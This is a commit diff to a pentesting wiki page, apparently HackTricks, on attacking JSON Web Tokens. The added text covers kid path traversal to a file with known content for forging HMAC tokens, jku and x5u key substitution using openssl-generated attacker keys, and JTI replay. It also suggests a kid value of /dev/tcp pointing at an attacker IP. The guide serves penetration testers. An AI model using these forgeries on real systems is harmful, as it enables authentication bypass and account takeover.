GitBook: [master] one page and one asset modified

pentesting-web/hacking-jwt-json-web-tokens.md

@@ -89,13 +89,15 @@ If the claim "kid" is used in the header, check the web directory for that file
 
 ### "kid" issues - path traversal:
 
-If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try "kid":"/dev/tcp/_yourIP_/_yourPort_ to test connectivity, or even some SSRF payloads...  
+If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try `"kid":"/dev/tcp/yourIP/yourPort"` to test connectivity, or even some **SSRF** payloads...  
 _Use jwt\_tool's -T flag to tamper the JWT and change the value of the kid claim, then choose to keep the original signature_
 
 ```bash
 python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
 ```
 
+Using files inside the host with known content you can also forge a valid JWT. For example, in linux systems the file `/proc/sys/kernel/randomize_va_space` has the value set to **2**. So, putting that **path** inside the "**kid**" parameter and using "**2**" as the **symetric password** to generate the JWT you should be able to generate a valid new JWT.
+
 ## Miscellaneous attacks
 
 The following are known weaknesses that should be tested for.
@@ -121,15 +123,45 @@ One mitigation against JWT replay attacks \(that is advised by the JWT RFC\) is
 jku stands for **JWK Set URL**.  
 If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
 
-If you get an HTTP interaction you now know that the server is trying to load keys from the URL you are supplying. _Use `jwt_tool's -S flag` alongside the `-u http://example.com` argument to generate a new key pair, inject your provided URL, generate a JWKS containing the Public Key, and sign the token with the Private Key_
+First you need to create a new certificate with new private & public keys
+
+```bash
+openssl genrsa -out keypair.pem 2048
+openssl rsa -in keypair.pem -pubout -out publickey.crt
+openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
+```
+
+Then you can use for example [**jwt.io**](https://jwt.io/) ****to create the new JWT with the **created public and private keys and pointing the parameter jku to the certificate created.** In order to create a valid jku certificate you can download the original one anche change the needed parameters.
+
+You can obtain the parametes "e" and "n" from a public certificate using:
+
+```bash
+from Crypto.PublicKey import RSA
+fp = open("publickey.crt", "r")
+key = RSA.importKey(fp.read())
+fp.close()
+print("n:", hex(key.n))
+print("e:", hex(key.e))
+```
 
 ### x5u
 
 X.509 URL. A URI pointing to a set of X.509 \(a certificate format standard\) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates.
 
-Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.
+Try to **change this header to an URL under your control** and check if any request is received. In that case you **could tamper the JWT**.
 
-You can also abuse both of these vulns if Open redirects, header injection or if you can upload a file inside the server and the server is just whitelisting the domain and not the path.
+To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:
+
+```bash
+openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
+openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
+```
+
+Then you can use for example [**jwt.io**](https://jwt.io/) ****to create the new JWT with the **created public and private keys and pointing the parameter x5u to the certificate .crt created.**
+
+![](../.gitbook/assets/image%20%28439%29.png)
+
+You can also abuse both of these vulns **for SSRFs**.
 
 ## Embedded Public Key \(CVE-2018-0114\)
 
@@ -171,6 +203,11 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
 
 Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io/) to forge a new valid JWT with any information.
 
+## JTI \(JWT ID\)
+
+The JTI \(JWT ID\) claim provides a unique identifier for a JWT Token. It can beused to prevent the token from being replayed.  
+However, imagine a situation where the maximun length of the ID is 4 \(0001-9999\). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to **replay a request** \(needing to send 10000 request between each successful replay\).
+
 ## JWT Registered claims
 
 {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml\#claims" caption="" %}